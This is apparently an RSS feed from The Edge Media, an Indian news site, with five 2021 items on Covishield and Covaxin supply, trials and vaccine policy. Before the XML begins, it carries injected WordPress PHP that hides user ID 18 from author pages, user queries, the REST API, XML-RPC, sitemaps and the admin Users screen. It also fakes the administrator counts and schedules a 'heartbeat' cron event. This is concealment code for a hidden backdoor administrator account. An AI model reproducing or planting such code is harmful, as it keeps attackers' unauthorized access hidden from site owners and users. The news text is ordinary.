add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Serum Institute of India Archives &#8211; The Edge Media</title>
	<atom:link href="https://theedgemedia.in/tag/serum-institute-of-india/feed" rel="self" type="application/rss+xml" />
	<link>https://theedgemedia.in/tag/serum-institute-of-india</link>
	<description>Another Look At Your Day</description>
	<lastBuildDate>Thu, 26 Aug 2021 15:59:31 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.2</generator>

<image>
	<url>https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png</url>
	<title>Serum Institute of India Archives &#8211; The Edge Media</title>
	<link>https://theedgemedia.in/tag/serum-institute-of-india</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>SII Informed the Centre that 20 Crore Covishield Doses Will Be Delivered in September</title>
		<link>https://theedgemedia.in/sii-informed-the-centre-that-20-crore-covishield-doses-will-be-delivered-in-september</link>
					<comments>https://theedgemedia.in/sii-informed-the-centre-that-20-crore-covishield-doses-will-be-delivered-in-september#respond</comments>
		
		<dc:creator><![CDATA[The Edge Media]]></dc:creator>
		<pubDate>Thu, 26 Aug 2021 15:59:31 +0000</pubDate>
				<category><![CDATA[Main Story]]></category>
		<category><![CDATA[Medical & Health]]></category>
		<category><![CDATA[#crore]]></category>
		<category><![CDATA[Centre]]></category>
		<category><![CDATA[Covishield]]></category>
		<category><![CDATA[delivered]]></category>
		<category><![CDATA[doses]]></category>
		<category><![CDATA[manufacturing]]></category>
		<category><![CDATA[Serum Institute of India]]></category>
		<category><![CDATA[Union government]]></category>
		<guid isPermaLink="false">https://theedgemedia.in/?p=22815</guid>

					<description><![CDATA[<p>The Union government has been informed that the Serum Institute of India (SII) will supply roughly 20 crore doses of the vaccine against coronavirus illness (Covid-19) developed by Oxford University-Astrazeneca in September, which the Pune-based business is manufacturing as Covishield in India. This is more than double the number of dosages that the SII had [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/sii-informed-the-centre-that-20-crore-covishield-doses-will-be-delivered-in-september">SII Informed the Centre that 20 Crore Covishield Doses Will Be Delivered in September</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>The Union government has been informed that the Serum Institute of India (SII) will supply roughly 20 crore doses of the vaccine against coronavirus illness (Covid-19) developed by Oxford University-Astrazeneca in September, which the Pune-based business is manufacturing as Covishield in India. This is more than double the number of dosages that the SII had stated will be supplied that month.</p>
<p>The SII placed its manufacturing capacity for Covishield for August and September at 10 crores apiece in a production plan submitted to the national government in May. The world&#8217;s largest vaccine maker has delivered 12 crore vaccination doses to the government and private hospitals.</p>
<p>The post <a href="https://theedgemedia.in/sii-informed-the-centre-that-20-crore-covishield-doses-will-be-delivered-in-september">SII Informed the Centre that 20 Crore Covishield Doses Will Be Delivered in September</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theedgemedia.in/sii-informed-the-centre-that-20-crore-covishield-doses-will-be-delivered-in-september/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Bharat Biotech To Supply 500M Covaxin Doses To Center</title>
		<link>https://theedgemedia.in/bharat-biotech-to-supply-500m-covaxin-doses-to-center</link>
					<comments>https://theedgemedia.in/bharat-biotech-to-supply-500m-covaxin-doses-to-center#respond</comments>
		
		<dc:creator><![CDATA[The Edge Media]]></dc:creator>
		<pubDate>Fri, 23 Jul 2021 15:57:12 +0000</pubDate>
				<category><![CDATA[Main Story]]></category>
		<category><![CDATA[Medical & Health]]></category>
		<category><![CDATA[500 million doses of Covaxin]]></category>
		<category><![CDATA[Bharat biotech]]></category>
		<category><![CDATA[city news]]></category>
		<category><![CDATA[Covaxin]]></category>
		<category><![CDATA[covid vaccines]]></category>
		<category><![CDATA[covid vaccines in India]]></category>
		<category><![CDATA[Covishield]]></category>
		<category><![CDATA[health news]]></category>
		<category><![CDATA[Hyderabad]]></category>
		<category><![CDATA[immunisation programme]]></category>
		<category><![CDATA[medical news]]></category>
		<category><![CDATA[National news]]></category>
		<category><![CDATA[Serum Institute of India]]></category>
		<category><![CDATA[Suchitra Ella]]></category>
		<category><![CDATA[vaccination in India]]></category>
		<category><![CDATA[vaccines]]></category>
		<guid isPermaLink="false">https://theedgemedia.in/?p=19555</guid>

					<description><![CDATA[<p>Bharat Biotech spoke on Friday that it has agreed to supply the Centre with approximately 500 million doses of its Covid-19 vaccine Covaxin as part of the nationwide vaccination campaign. Suchitra Ella, joint Managing Director of the metropolitan area vaccine producer, stated at a digital meeting held by the Confederation of Indian Industry that the [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/bharat-biotech-to-supply-500m-covaxin-doses-to-center">Bharat Biotech To Supply 500M Covaxin Doses To Center</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Bharat Biotech spoke on Friday that it has agreed to supply the Centre with approximately 500 million doses of its Covid-19 vaccine Covaxin as part of the nationwide vaccination campaign. Suchitra Ella, joint Managing Director of the metropolitan area vaccine producer, stated at a digital meeting held by the Confederation of Indian Industry that the company&#8217;s operations in four cities &#8211; Hyderabad, Bengaluru, Pune, and Ankaleshwar &#8211; are now manufacturing Covaxin.</p>
<p>Bharati Pravin Pawar, Minister of State for Health, stated in Parliament on Tuesday that the Serum Institute of India furnished the Centre with 5.45 crore (54.5 million) doses of Covaxin by Bharat Biotech and 36.01 crores (360 million) doses of Covishield from January to July 16.</p>
<p>The post <a href="https://theedgemedia.in/bharat-biotech-to-supply-500m-covaxin-doses-to-center">Bharat Biotech To Supply 500M Covaxin Doses To Center</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theedgemedia.in/bharat-biotech-to-supply-500m-covaxin-doses-to-center/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Nitin Gadkari says that more pharma companies should be allowed to make vaccine</title>
		<link>https://theedgemedia.in/nitin-gadkari-says-that-more-pharma-companies-should-be-allowed-to-make-vaccine</link>
					<comments>https://theedgemedia.in/nitin-gadkari-says-that-more-pharma-companies-should-be-allowed-to-make-vaccine#respond</comments>
		
		<dc:creator><![CDATA[The Edge Media]]></dc:creator>
		<pubDate>Tue, 18 May 2021 16:27:01 +0000</pubDate>
				<category><![CDATA[Main Story]]></category>
		<category><![CDATA[Political Edge]]></category>
		<category><![CDATA[Bharat biotech]]></category>
		<category><![CDATA[Covaxin]]></category>
		<category><![CDATA[Covid 19]]></category>
		<category><![CDATA[Covishield]]></category>
		<category><![CDATA[narendra modi]]></category>
		<category><![CDATA[Nitin Gadkari]]></category>
		<category><![CDATA[prime minister]]></category>
		<category><![CDATA[Serum Institute of India]]></category>
		<category><![CDATA[Union minister]]></category>
		<category><![CDATA[vaccine]]></category>
		<guid isPermaLink="false">https://theedgemedia.in/?p=12993</guid>

					<description><![CDATA[<p>The Union Minister Nitin Gadkari suggested that more pharma companies needs to be given permission for the production of Covid-19 vaccine.  He made the suggestion in view of the shortage of the  vaccine and to increase production. Mr. Gadkari said  while addressing virtually to the Vice Chancellors of Universities that he will also request Prime [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/nitin-gadkari-says-that-more-pharma-companies-should-be-allowed-to-make-vaccine">Nitin Gadkari says that more pharma companies should be allowed to make vaccine</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>The Union Minister Nitin Gadkari suggested that more pharma companies needs to be given permission for the production of Covid-19 vaccine.  He made the suggestion in view of the shortage of the  vaccine and to increase production.</p>
<p>Mr. Gadkari said  while addressing virtually to the Vice Chancellors of Universities that he will also request Prime Minister Narendra Modi to bring a law that would allow more pharma companies to manufacture the life-saving vaccine.</p>
<p>He said,&#8221;If the demand of vaccine is more than its supply then it creates a problem. So, instead of one company, 10 more companies should be allowed to make vaccines by paying 10 per cent royalty to the original patent holder of the vaccine&#8221;.</p>
<p>At the recent time, there are only two companies that are producing the vaccine- Bharat Biotech and Serum Institute of India namely Covaxin and Covishield respectively.</p>
<p>The post <a href="https://theedgemedia.in/nitin-gadkari-says-that-more-pharma-companies-should-be-allowed-to-make-vaccine">Nitin Gadkari says that more pharma companies should be allowed to make vaccine</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theedgemedia.in/nitin-gadkari-says-that-more-pharma-companies-should-be-allowed-to-make-vaccine/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>This Pandemic is not limited by Geographic or Political boundaries: Adar Poonawalla</title>
		<link>https://theedgemedia.in/this-pandemic-is-not-limited-by-geographic-or-political-boundaries-adar-poonawalla</link>
					<comments>https://theedgemedia.in/this-pandemic-is-not-limited-by-geographic-or-political-boundaries-adar-poonawalla#respond</comments>
		
		<dc:creator><![CDATA[The Edge Media]]></dc:creator>
		<pubDate>Tue, 18 May 2021 15:15:47 +0000</pubDate>
				<category><![CDATA[The Edge Media]]></category>
		<category><![CDATA[Adar poonawala]]></category>
		<category><![CDATA[Covaxin]]></category>
		<category><![CDATA[covid vaccines]]></category>
		<category><![CDATA[Government of India]]></category>
		<category><![CDATA[INDIA COVID UPDATE]]></category>
		<category><![CDATA[Serum Institute of India]]></category>
		<guid isPermaLink="false">https://theedgemedia.in/?p=12981</guid>

					<description><![CDATA[<p>The Serum Institute of India released a media statement today. It spoke about the Government&#8217;s decision to export the vaccines in early 2021. &#8220;In the past few days there has been an intense discussion on the decision of our Government and Indian vaccine manufacturers including SII to export vaccines.&#8221; It said that in January 2021, [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/this-pandemic-is-not-limited-by-geographic-or-political-boundaries-adar-poonawalla">This Pandemic is not limited by Geographic or Political boundaries: Adar Poonawalla</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>The Serum Institute of India released a media statement today. It spoke about the Government&#8217;s decision to export the vaccines in early 2021. &#8220;In the past few days there has been an intense discussion on the decision of our Government and Indian vaccine manufacturers including SII to export vaccines.&#8221;</p>
<p>It said that in January 2021, when there was a stock pile of vaccinations, covid cases in India were at a all time low. Around the same time, many other countries were facing acute crisis. Our Government extended support wherever possible in this period. They also claimed that it is this spirit which led to the inital corporation between the countries. The pandemic is not limited geographically and politically.</p>
<p>We are among the top two most populous countries and that complete vaccination drive is not possible in two to three months. It could take two to three years.</p>
<p>It also said that they have been working tirelessly with the Government and it is a time to unite and defat the pandemic.</p>
<p>The post <a href="https://theedgemedia.in/this-pandemic-is-not-limited-by-geographic-or-political-boundaries-adar-poonawalla">This Pandemic is not limited by Geographic or Political boundaries: Adar Poonawalla</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theedgemedia.in/this-pandemic-is-not-limited-by-geographic-or-political-boundaries-adar-poonawalla/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Phase 2/3 trials  of Covaxin in children to begin in 10-12 days</title>
		<link>https://theedgemedia.in/phase-2-3-trials-of-covaxin-in-children-to-begin-in-10-12-days</link>
					<comments>https://theedgemedia.in/phase-2-3-trials-of-covaxin-in-children-to-begin-in-10-12-days#respond</comments>
		
		<dc:creator><![CDATA[The Edge Media]]></dc:creator>
		<pubDate>Tue, 18 May 2021 14:17:44 +0000</pubDate>
				<category><![CDATA[Main Story]]></category>
		<category><![CDATA[Medical & Health]]></category>
		<category><![CDATA[#vaccination]]></category>
		<category><![CDATA[adults]]></category>
		<category><![CDATA[Bharat biotech]]></category>
		<category><![CDATA[children]]></category>
		<category><![CDATA[Covaxin]]></category>
		<category><![CDATA[Covid 19]]></category>
		<category><![CDATA[Covishield]]></category>
		<category><![CDATA[DCGI]]></category>
		<category><![CDATA[Serum Institute of India]]></category>
		<category><![CDATA[vaccine]]></category>
		<guid isPermaLink="false">https://theedgemedia.in/?p=12968</guid>

					<description><![CDATA[<p>The senior NITI Aayog member, VK Paul announced on Tuesday that the phase II/III clinical trials will begin in 10-12 days. The trials will be for the children ageing between 2 to 18 years. The Health Ministry said that proposal was initiated in Subject Expert Committee (SEC) on May 11. India gave clearance to the [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/phase-2-3-trials-of-covaxin-in-children-to-begin-in-10-12-days">Phase 2/3 trials  of Covaxin in children to begin in 10-12 days</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>The senior NITI Aayog member, VK Paul announced on Tuesday that the phase II/III clinical trials will begin in 10-12 days. The trials will be for the children ageing between 2 to 18 years. The Health Ministry said that proposal was initiated in Subject Expert Committee (SEC) on May 11. India gave clearance to the Covaxin trials on May 13.</p>
<p>Dr. VK Paul, a member of the health NITI Aayog said,&#8221;COVAXIN has been approved by the Drugs Controller General of India (DCGI), for phase II/III clinical trials in the age group of 2 to 18 years. I have been told that trials will begin in the next 10-12 days&#8221;. The trial will be done in 525 subjects at various sites.</p>
<p>Covaxin, together with Covishield, is being used to vaccinate adults in the country. The US authorized Pfizer and BioNTech&#8217;s vaccine for children ageing from 2 to 15 years last week.</p>
<p>The post <a href="https://theedgemedia.in/phase-2-3-trials-of-covaxin-in-children-to-begin-in-10-12-days">Phase 2/3 trials  of Covaxin in children to begin in 10-12 days</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theedgemedia.in/phase-2-3-trials-of-covaxin-in-children-to-begin-in-10-12-days/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>